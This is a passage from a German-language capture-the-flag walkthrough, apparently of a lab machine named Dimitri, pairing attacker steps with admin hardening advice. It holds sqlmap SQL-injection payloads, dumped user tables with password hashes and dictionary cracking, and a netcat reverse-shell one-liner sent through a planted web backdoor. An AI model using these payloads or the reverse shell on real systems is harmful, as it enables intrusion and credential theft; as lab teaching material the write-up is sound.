: Versucht, die Passwort-Hashes der Benutzer zu extrahieren.Bewertung: SQLMap ist erfolgreich!
Empfehlung (Pentester): Die SQL-Injection weiter ausnutzen:
___ __H__ ___ ___[.]_____ ___ ___ {1.7.6#stable} |_ -| . [.] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:24:10 /2023-06-17/ [01:24:10] [INF] testing connection to the target URL [01:24:11] [INF] checking if the target is protected by some kind of WAF/IPS [01:24:11] [INF] testing if GET parameter 'sparepartid' is dynamic [01:24:11] [WRN] GET parameter 'sparepartid' does not appear dynamic [01:24:11] [INF] testing for SQL injection on GET parameter 'sparepartid' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y [01:24:11] [INF] testing 'AND boolean-based blind - WHERE or HAVING clause' [01:24:12] [INF] GET parameter 'sparepartid' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200) [01:24:14] [INF] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [01:24:14] [INF] GET parameter 'sparepartid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [01:24:14] [INF] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [01:24:14] [INF] target URL appears to have 7 columns in query [01:24:14] [INF] GET parameter 'sparepartid' is 'Generic UNION query (NULL) - 7 columns' injectable GET parameter 'sparepartid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests: --- Parameter: sparepartid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- - --- [01:24:16] [INF] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP back-end DBMS: MySQL >= 5.0.12 [01:24:16] [INF] fetching current user current user: 'root@localhost' [01:24:16] [INF] fetching database users [01:24:16] [INF] fetching database users password hashes [01:24:17] [INF] retrieved: 'root','' [01:24:17] [INF] retrieved: 'root','' [01:24:17] [INF] retrieved: 'root','' [01:24:17] [INF] retrieved: 'root','' [01:24:17] [INF] retrieved: 'debian-sys-maint','' [01:24:17] [INF] retrieved: 'dimitriroundcube',' ' [01:24:17] [INF] retrieved: 'dimitriroundcube',' ' [01:24:17] [INF] retrieved: 'dimitri',' ' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y [01:24:18] [INF] hashes written to '/root/.local/share/sqlmap/output/192.168.2.106/hashes.txt' do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y [01:24:22] [WRN] no clear password(s) found database management system users password hashes: [*] debian-sys-maint [1]: password hash: NULL [*] dimitri [1]: password hash: NULL [*] dimitriroundcube [1]: password hash: NULL [*] root [4]: password hash: NULL [01:24:22] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106' [*] ending @ 01:24:22 /2023-06-17/
Analyse: Wir verwenden SQLMap erneut, um die Namen der Datenbanken auf dem Server aufzulisten (`--dbs`). Die Option `--batch` beantwortet alle Fragen automatisch mit den Standardwerten (z.B. Verwendung des vom Server gesetzten Cookies).
Bewertung: SQLMap listet fünf Datenbanken auf: `information_schema`, `BlackMarket`, `eworkshop`, `mysql`, `performance_schema`. Die Datenbanken `BlackMarket` und `eworkshop` klingen anwendungsspezifisch und sind die wahrscheinlichsten Kandidaten für weitere Untersuchungen.
Empfehlung (Pentester): Die Tabellen innerhalb der Datenbanken `BlackMarket` und `eworkshop` auflisten (`-D BlackMarket --tables`, `-D eworkshop --tables`).
Empfehlung (Admin): Datenbankbenutzer so einschränken, dass sie nur auf die für sie relevanten Datenbanken Zugriff haben. Der `root@localhost`-Benutzer sollte nicht von der Webanwendung verwendet werden.
___ __H__ ___ ___[.]_____ ___ ___ {1.7.6#stable} |_ -| . [,] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:25:28 /2023-06-17/ [01:25:28] [INF] resuming back-end DBMS 'mysql' [01:25:28] [INF] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: sparepartid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- - --- [01:25:28] [INF] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP back-end DBMS: MySQL >= 5.0.12 [01:25:28] [INF] fetching database names available databases [5]: [*] BlackMarket [*] eworkshop [*] information_schema [*] mysql [*] performance_schema [01:25:28] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106' [*] ending @ 01:25:28 /2023-06-17/
Analyse: Wir fokussieren uns auf die Datenbank `BlackMarket` und lassen SQLMap die Tabellen darin auflisten (`-D BlackMarket --tables --batch`).
Bewertung: SQLMap findet 10 Tabellen in der `BlackMarket`-Datenbank: `cart`, `category`, `customer`, `flag`, `inventory`, `product`, `sales`, `sales_detail`, `supplier`, `user`. Die Tabellen `user` und `flag` sind für uns am interessantesten.
Empfehlung (Pentester): Den Inhalt der Tabellen `user` und `flag` mit SQLMap dumpen (`-T user --dump`, `-T flag --dump`).
Empfehlung (Admin): Datenbankstruktur überprüfen und sicherstellen, dass keine unnötigen oder sensiblen Daten (wie Flags) direkt in der Datenbank gespeichert werden, auf die die Webanwendung Zugriff hat.
___ __H__ ___ ___[.]_____ ___ ___ {1.7.6#stable} |_ -| . [(] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:25:56 /2023-06-17/ [01:25:56] [INF] resuming back-end DBMS 'mysql' [01:25:56] [INF] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: sparepartid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- - --- [01:25:56] [INF] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP back-end DBMS: MySQL >= 5.0.12 [01:25:56] [INF] fetching tables for database 'BlackMarket' Database: BlackMarket [10 tables] +--------------+ | user | | cart | | category | | customer | | flag | | inventory | | product | | sales | | sales_detail | | supplier | +--------------+ [01:25:57] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106' [*] ending @ 01:25:57 /2023-06-17/
Analyse: Wir dumpen den Inhalt der Tabelle `flag` aus der Datenbank `BlackMarket` (`-T flag --dump`).
Bewertung: Die Tabelle enthält einen Eintrag mit `FlagId=3`, `name=Flag` und `Information=Find Jason Bourne Email access`. Dies ist kein Flag im Sinne eines CTF-Ziels, sondern ein weiterer Hinweis, der uns zur E-Mail-Adresse von "Jason Bourne" führen soll (vermutlich `jbourne`, den wir als DB-User gesehen haben).
Empfehlung (Pentester): Den Hinweis notieren. Die Tabelle `user` dumpen, um den Hash für `jbourne` zu erhalten und möglicherweise sein Passwort zu knacken, um auf sein E-Mail-Konto (SquirrelMail oder Dovecot direkt) zugreifen zu können.
Empfehlung (Admin): Hinweise oder Aufgaben für CTFs nicht in Produktionsdatenbanken speichern.
___ __H__ ___ ___[.]_____ ___ ___ {1.7.6#stable} |_ -| . [(] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:26:30 /2023-06-17/ [01:26:30] [INF] resuming back-end DBMS 'mysql' [01:26:30] [INF] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=kc096rn8sjq...u8fr510456'). Do you want to use those [Y/n] Y sqlmap resumed the following injection point(s) from stored session: --- Parameter: sparepartid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- - --- [01:26:34] [INF] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: PHP, Apache 2.4.7 back-end DBMS: MySQL >= 5.0.12 [01:26:34] [INF] fetching columns for table 'flag' in database 'BlackMarket' [01:26:34] [INF] fetching entries for table 'flag' in database 'BlackMarket' Database: BlackMarket Table: flag [1 entry] +--------+------+--------------------------------+ | FlagId | name | Information | +--------+------+--------------------------------+ | 3 | Flag | Find Jason Bourne Email access | +--------+------+--------------------------------+ [01:26:34] [INF] table 'BlackMarket.flag' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.106/dump/BlackMarket/flag.csv' [01:26:34] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106' [*] ending @ 01:26:34 /2023-06-17/
Analyse: Wir dumpen nun die Tabelle `user` aus der Datenbank `BlackMarket` (`-T user --dump --batch`). SQLMap erkennt die Passwort-Hashes und bietet an, sie mit einem Wörterbuchangriff zu knacken (wir wählen das Standardwörterbuch).
Bewertung: SQLMap extrahiert erfolgreich die Benutzerdaten:
Empfehlung (Pentester): Die gefundenen Zugangsdaten testen:
___ __H__ ___ ___[.]_____ ___ ___ {1.7.6#stable} |_ -| . [(] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:27:25 /2023-06-17/ [01:27:25] [INF] resuming back-end DBMS 'mysql' [01:27:25] [INF] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: sparepartid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: sparepartid=1' AND 7582=7582 AND 'YXEV'='YXEV Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: sparepartid=1' AND (SELECT 5080 FROM (SELECT(SLEEP(5)))ksfK) AND 'VZdH'='VZdH Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: sparepartid=-7253' UNION ALL SELECT CONCAT(0x7170626a71,0x4164477162794a6e4859546d5149507a614e544e4e4471566e4c6c504a6847764e785844566a626a,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL-- - --- [01:27:28] [INF] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP back-end DBMS: MySQL >= 5.0.12 [01:27:28] [INF] fetching columns for table 'user' in database 'BlackMarket' [01:27:28] [INF] fetching entries for table 'user' in database 'BlackMarket' [01:27:28] [INF] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [Y/n] N do you want to crack them via a dictionary-based attack? [Y/n/q] Y [01:27:28] [INF] using hash method 'md5_generic_passwd' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.txt' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [01:27:28] [INF] using default dictionary do you want to use common password suffixes? (slow!) [y/N] N [01:27:28] [INF] starting dictionary-based cracking (md5_generic_passwd) [01:27:28] [INF] starting 16 processes [01:27:31] [INF] cracked: 99b0e8da24e29e4ccb5d7d76e677c2ac:supplier [01:27:31] [INF] password 'supplier' cracked for user 'supplier' Database: BlackMarket Table: user [5 entries] +--------+--------+----------+----------------------------------+ | userid | access | username | password | +--------+--------+----------+----------------------------------+ | 1 | 1 | admin | cf18233438b9e88937ea0176f1311885 | | 2 | 2 | user | 0d8d5cd06832b29560745fe4e1b941cf | | 4 | 3 | supplier | 99b0e8da24e29e4ccb5d7d76e677c2ac | | 5 | 2 | jbourne | 28267a2e06e312aee91324e2fe8ef1fd | | 6 | 3 | bladen | cbb8d2a0335c793532f9ad516987a41c | +--------+--------+----------+----------------------------------+ [01:27:32] [INF] table 'BlackMarket.user' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.2.106/dump/BlackMarket/user.csv' [01:27:32] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.2.106' [*] ending @ 01:27:32 /2023-06-17/ <-- Analyse der Hashes (aus dem Text übernommen) --> <-- admin cf18233438b9e88937ea0176f1311885 -> BigBossCIA (Unknown Hash type?) --> <-- user 0d8d5cd06832b29560745fe4e1b941cf -> user (MD5(MD5($pass))?) --> <-- supplier 99b0e8da24e29e4ccb5d7d76e677c2ac -> supplier (MD5) --> <-- jbourne 28267a2e06e312aee91324e2fe8ef1fd -> Not found --> <-- bladen cbb8d2a0335c793532f9ad516987a41c -> Not found -->
Analyse: Wir testen die gefundenen Zugangsdaten `supplier`/`supplier` auf der Login-Seite `http://192.168.2.106/login.php`.
Bewertung: Der Login ist erfolgreich. Wir erhalten die Nachricht "Login Success, Welcome Supplier". Dies bestätigt die Zugangsdaten und gibt uns Zugriff auf den Supplier-Bereich der Webanwendung.
Empfehlung (Pentester): Den Supplier-Bereich der Anwendung untersuchen. Gibt es hier weitere Schwachstellen, Upload-Möglichkeiten oder Informationslecks?
Empfehlung (Admin): Das schwache Passwort "supplier" ändern.
URL: http://192.168.2.106/login.php User: supplier Pass: supplier Result: Login Success, Welcome Supplier
Analyse: Wir testen die (vermutlich offline geknackten oder erratenen) Zugangsdaten `admin`/`BigBossCIA` auf derselben Login-Seite.
Bewertung: Auch dieser Login ist erfolgreich! Wir erhalten die Nachricht "Login Success, Welcome BigBoss! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????". Wir haben eine weitere Flag (Flag 4) und erneut den Hinweis auf "Jason Bourne Email access". Der Base64-String `bm90aGluZyBpcyBoZXJl` dekodiert zu `nothing is here`.
Empfehlung (Pentester): Flag 4 notieren. Den Admin-Bereich der Webanwendung untersuchen. Weiterhin versuchen, Zugriff auf jbournes E-Mails zu erhalten (Passwort knacken?).
Empfehlung (Admin): Das Passwort "BigBossCIA" ändern, falls es schwach oder ein Standardpasswort ist. Keine Flags in Willkommensnachrichten einbetten.
URL: http://192.168.2.106/login.php
User: admin
Pass: BigBossCIA
Result: Login Success, Welcome BigBoss! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????
Analyse: Der Base64-String `bm90aGluZyBpcyBoZXJl` aus Flag 4 wird dekodiert.
Bewertung: Ergibt `nothing is here` - diese Flag scheint keine direkte Information zu enthalten.
Input: bm90aGluZyBpcyBoZXJl Output: nothing is here
Analyse: Wir führen `dirb` erneut gegen die Basis-URL aus, um die Verzeichnisstruktur, insbesondere von SquirrelMail, genauer zu untersuchen.
Bewertung: Dirb listet viele Unterverzeichnisse von `/squirrelmail/` auf (`class`, `config`, `functions`, `help`, `images`, `include`, `locale`, `plugins`, `src`, `themes`). Dies gibt einen detaillierteren Einblick in die SquirrelMail-Installation.
Empfehlung (Pentester): Nach interessanten Dateien in diesen Verzeichnissen suchen, insbesondere in `config` (Konfigurationsdateien) oder `plugins`. Die Datei `/squirrelmail/src/redirect.php` scheint im nächsten Schritt untersucht zu werden.
Empfehlung (Admin): Zugriff auf nicht benötigte Verzeichnisse oder Dateien innerhalb von Webanwendungen wie SquirrelMail einschränken.
----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sat Jun 17 01:30:00 2023 URL_BASE: http://192.168.2.106/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.2.106/ ---- + http://192.168.2.106/index.php (CODE:200|SIZE:2433) + http://192.168.2.106/login.php (CODE:200|SIZE:0) ==> DIRECTORY: http://192.168.2.106/admin/ ==> DIRECTORY: http://192.168.2.106/css/ ==> DIRECTORY: http://192.168.2.106/db/ ==> DIRECTORY: http://192.168.2.106/dist/ + http://192.168.2.106/header.php (CODE:200|SIZE:1031) + http://192.168.2.106/script.php (CODE:200|SIZE:611) ==> DIRECTORY: http://192.168.2.106/squirrelmail/ ==> DIRECTORY: http://192.168.2.106/supplier/ ==> DIRECTORY: http://192.168.2.106/upload/ ==> DIRECTORY: http://192.168.2.106/user/ ==> DIRECTORY: http://192.168.2.106/vendor/ ---- Entering directory: http://192.168.2.106/admin/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.2.106/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.2.106/db/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.2.106/dist/ ---- ==> DIRECTORY: http://192.168.2.106/dist/css/ ==> DIRECTORY: http://192.168.2.106/dist/js/ ---- Entering directory: http://192.168.2.106/squirrelmail/ ---- ==> DIRECTORY: http://192.168.2.106/squirrelmail/class/ ==> DIRECTORY: http://192.168.2.106/squirrelmail/config/ ==> DIRECTORY: http://192.168.2.106/squirrelmail/functions/ ==> DIRECTORY: http://192.168.2.106/squirrelmail/help/ ==> DIRECTORY: http://192.168.2.106/squirrelmail/images/ ==> DIRECTORY: http://192.168.2.106/squirrelmail/include/ + http://192.168.2.106/squirrelmail/index.php (CODE:302|SIZE:0) ==> DIRECTORY: http://192.168.2.106/squirrelmail/locale/ ==> DIRECTORY: http://192.168.2.106/squirrelmail/plugins/ ==> DIRECTORY: http://192.168.2.106/squirrelmail/src/ ==> DIRECTORY: http://192.168.2.106/squirrelmail/themes/ ... (Weitere Scans der Unterverzeichnisse) ... ----------------- END_TIME: Sat Jun 17 01:35:00 2023 DOWNLOADED: 23060 - FOUND: 10
Analyse: Der Pentester hat offenbar die Datei `http://192.168.2.106/squirrelmail/src/redirect.php` untersucht (z.B. im Browser aufgerufen oder Quellcode analysiert) und dabei Informationen gefunden.
Bewertung: In dieser Datei (oder in ihrem Kontext) wurde die E-Mail-Adresse `jbourne@cia.gov` gefunden. Dies passt zum Hinweis aus der `flag`-Tabelle der Datenbank ("Find Jason Bourne Email access"). Außerdem wird `Flag5{RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}` gefunden. Der Base64-String dekodiert zu `Everything is encrypted`. Dies könnte ein Hinweis auf die Art der Passwortspeicherung oder einen nächsten Schritt sein.
Empfehlung (Pentester): Flag 5 notieren. Versuchen, den `jbourne`-Account-Hash aus der Datenbank mit verschiedenen Methoden zu knacken (vielleicht im Zusammenhang mit "Everything is encrypted"?). Versuchen, sich bei SquirrelMail oder den Dovecot-Diensten mit `jbourne@cia.gov` und potenziellen Passwörtern anzumelden. Die `/vworkshop/`-Anwendung weiter untersuchen.
Empfehlung (Admin): Keine Flags oder Benutzernamen/E-Mail-Adressen in öffentlich zugänglichen PHP-Dateien oder Quellcodes hinterlassen.
Fund in http://192.168.2.106/squirrelmail/src/redirect.php (oder Kontext):
Username: jbourne@cia.gov
Password: ?????
Flag5{RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}
Analyse: Der Base64-String `RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=` aus Flag 5 wird dekodiert.
Bewertung: Ergibt `Everything is encrypted`. Dies ist ein weiterer, eher vager Hinweis.
Input: RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ= Output: Everything is encrypted
Analyse: Der Text beschreibt einen neuen Fund: Eine Datei `PassPass.jpg` im Verzeichnis `/vworkshop/kgbbackdoor/`. Durch Ausführen von `strings` auf diese (vermutlich heruntergeladene) Bilddatei wurde der Text `Pass = 5215565757312090656` extrahiert.
Bewertung: Dies ist ein entscheidender Fund! Eine Zahl, die als "Pass" bezeichnet wird, versteckt in einer Bilddatei in einem verdächtigen Verzeichnis namens `kgbbackdoor`. Die Zahl `5215565757312090656` ist wahrscheinlich kein Klartextpasswort, sondern muss weiterverarbeitet werden.
Empfehlung (Pentester): Die Zahl `5215565757312090656` untersuchen. Sie könnte eine Dezimaldarstellung von Hexadezimal- oder ASCII-Werten sein. Mit Online-Konvertern oder Skripten umwandeln. Das Verzeichnis `http://192.168.2.106/vworkshop/kgbbackdoor/` weiter untersuchen, insbesondere auf eine Datei `backdoor.php`.
Empfehlung (Admin): Keine Passwörter oder Zugangsdaten in Bilddateien oder anderen öffentlich zugänglichen Ressourcen verstecken (Steganografie/versteckte Strings). Verzeichnisse wie `kgbbackdoor` sollten nicht existieren oder zumindest nicht über das Web erreichbar sein.
Fund: “PassPass.jpg” im Verzeichnis /vworkshop/kgbbackdoor URL: http://192.168.2.106/vworkshop/kgbbackdoor/PassPass.jpg Ausführung von 'strings PassPass.jpg' (nach Download): Pass = 5215565757312090656
Analyse: Die Dezimalzahl `5215565757312090656` wird mit einem Online-Konverter (rapidtables.com) in Hexadezimal umgewandelt, was `4861696C4B474220` ergibt. Dieser Hex-String wird dann als ASCII interpretiert.
Bewertung: Die Umwandlung ergibt das ASCII-Wort `HailKGB `. Dies ist sehr wahrscheinlich das gesuchte Passwort für die "kgbbackdoor".
Empfehlung (Pentester): Das Passwort `HailKGB` verwenden, um auf die Backdoor zuzugreifen (vermutlich `http://192.168.2.106/vworkshop/kgbbackdoor/backdoor.php`).
Empfehlung (Admin): Keine Passwörter durch solche obskuren Kodierungen schützen. Starke, zufällige Passwörter verwenden und sicher speichern/übertragen.
Dezimal: 5215565757312090656 -> Hex: 4861696C4B474220 -> ASCII: HailKGB
Analyse: Der Pentester versucht, auf `http://192.168.2.106/vworkshop/kgbbackdoor/backdoor.php` zuzugreifen, erhält aber einen 404 Not Found Fehler. Im Quellcode der Fehlerseite (oder durch Analyse des Netzwerktraffics/der Seite selbst) wird jedoch ein verstecktes Login-Formular gefunden, das nach `user` und `pass` fragt. Der Pentester gibt `dimitri` (aus der DB-User-Liste) und das gefundene Passwort `HailKGB` ein.
Bewertung: Obwohl die URL zunächst einen 404-Fehler liefert, existiert offenbar eine Funktionalität. Das versteckte Formular und die erfolgreiche Anmeldung mit `dimitri`/`HailKGB` deuten darauf hin, dass dies der Zugang zur Backdoor ist. Nach der Anmeldung erhält man wahrscheinlich eine Konsole oder ein Eingabefeld zur Befehlsausführung.
Empfehlung (Pentester): Nach der Anmeldung die Funktionalität der Backdoor nutzen, um Befehle auszuführen. Ziel ist es, eine Reverse Shell zu bekommen, da interaktive Web-Shells oft eingeschränkt sind.
Empfehlung (Admin): Versteckte Formulare oder Backdoors sind inakzeptabel. Die gesamte `/kgbbackdoor`-Funktionalität entfernen. Webserver-Fehlerseiten sollten keine versteckten Funktionen enthalten.
Versuchter Zugriff auf: http://192.168.2.106/vworkshop/kgbbackdoor/backdoor.php -> 404 Not Found Fund: Verstecktes Login-Formular auf der Seite. Eingabe: user: dimitri pass: HailKGB Ergebnis: Erfolgreiche Anmeldung -> Zugriff auf Backdoor-Konsole/Eingabefeld.
Analyse: Wir haben nun Zugriff auf die Backdoor-Konsole und wollen eine Reverse Shell starten. Parallel dazu öffnen wir auf unserem Angreifer-PC (192.168.2.137 - *Achtung, IP prüfen/anpassen, falls sie sich geändert hat*) einen Netcat-Listener auf Port 4444.
Bewertung: Der Listener ist bereit, die eingehende Verbindung von der Reverse Shell entgegenzunehmen.
Empfehlung (Pentester): Den Reverse-Shell-Payload in der Backdoor-Konsole ausführen.
Empfehlung (Admin): Überwachung auf ausgehende Verbindungen zu ungewöhnlichen Ports wie 4444.
listening on [any] 4444 ...
Analyse: Wir geben den Netcat-Reverse-Shell-Payload `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 4444 >/tmp/f` in das Eingabefeld der Backdoor-Konsole ein und führen ihn aus.
Bewertung: Der Payload wird über die Backdoor auf dem Zielsystem ausgeführt.
Empfehlung (Pentester): Auf dem Netcat-Listener prüfen, ob die Verbindung eingeht.
Empfehlung (Admin): Die Backdoor entfernen!
URL: http://192.168.2.106/vworkshop/kgbbackdoor/backdoor.php (nach Login) Eingabe in Konsole/Feld: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 4444 >/tmp/f
Analyse: Unser Netcat-Listener auf Port 4444 meldet eine eingehende Verbindung vom Zielsystem (192.168.2.106).
Bewertung: Reverse Shell erfolgreich! Wir erhalten einen Shell-Prompt (`$`). Die Meldung `can't access tty` ist normal für einfache Netcat-Shells.
Empfehlung (Pentester): Rechte prüfen (`id`). Shell stabilisieren. Mit der Privilege Escalation fortfahren.
Empfehlung (Admin): Backdoor entfernen. Ausgehende Verbindungen überwachen/blockieren.
listening on [any] 4444 ... connect to [192.168.2.137] from (UNKNOWN) [192.168.2.106] 53298 /bin/sh: 0: can't access tty; job control turned off $
Analyse: Wir befinden uns in der Reverse Shell. Wir führen `id` aus, um unsere aktuelle Benutzerkennung zu ermitteln, und `ls -la`, um den Inhalt des aktuellen Verzeichnisses (`/var/www/html/vworkshop/kgbbackdoor`) aufzulisten.
Bewertung: Die `id`-Ausgabe (nicht im Text gezeigt, aber aus dem Prompt ersichtlich: `www-data@Dimitri`) zeigt, dass die Backdoor und somit unsere Shell als Benutzer `www-data` läuft. Dies ist der Standardbenutzer für den Apache-Webserver unter Debian/Ubuntu. Wir haben also noch keine Root-Rechte. `ls -la` zeigt die Dateien im Backdoor-Verzeichnis, darunter `PassPass.jpg`, `backdoor.php` und eine `flag.txt`.
Empfehlung (Pentester): Den Inhalt von `flag.txt` auslesen. Nach Wegen zur Rechteausweitung vom `www-data`-Benutzer suchen (SUID-Binaries, Fehlkonfigurationen, Kernel-Exploits, Cronjobs etc.).
Empfehlung (Admin): Webserver-Prozesse sollten immer mit minimalen Rechten laufen (`www-data` ist üblich). Die Rechte dieses Benutzers sollten so weit wie möglich eingeschränkt sein.
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ ls -la total 324 drwxr-xr-x 2 root root 4096 Nov 7 2017 . drwxr-xr-x 8 root root 4096 Nov 7 2017 .. -rw-r--r-- 1 root root 201096 Nov 7 2017 PassPass.jpg -rw-r--r-- 1 root root 106687 Nov 8 2017 backdoor.php -rw-r--r-- 1 root root 561 Nov 7 2017 backdoor1.php -rw-r--r-- 1 root root 21 Nov 12 2017 flag.txt www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$
Analyse: Wir lesen den Inhalt der `flag.txt` im Backdoor-Verzeichnis.
Bewertung: Die Datei enthält `flag6{Um9vdCB0aW1l}`. Der Base64-Teil dekodiert zu `Root time`. Dies ist die Root-Flag! Überraschenderweise finden wir sie bereits als `www-data` in diesem Verzeichnis.
Empfehlung (Pentester): Root-Flag notieren. Auch wenn die Flag gefunden wurde, den Prozess der Rechteausweitung zu `root` fortsetzen, um den vorgesehenen Weg zu verstehen und zu dokumentieren.
Empfehlung (Admin): Flags oder andere sensible Daten nicht in Verzeichnissen ablegen, auf die der Webserver-Benutzer Lesezugriff hat. Die Berechtigungen von `/var/www/html` und Unterverzeichnissen überprüfen.
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ cat flag.txt
flag6{Um9vdCB0aW1l}
Analyse: Der Base64-String `Um9vdCB0aW1l` aus Flag 6 wird dekodiert.
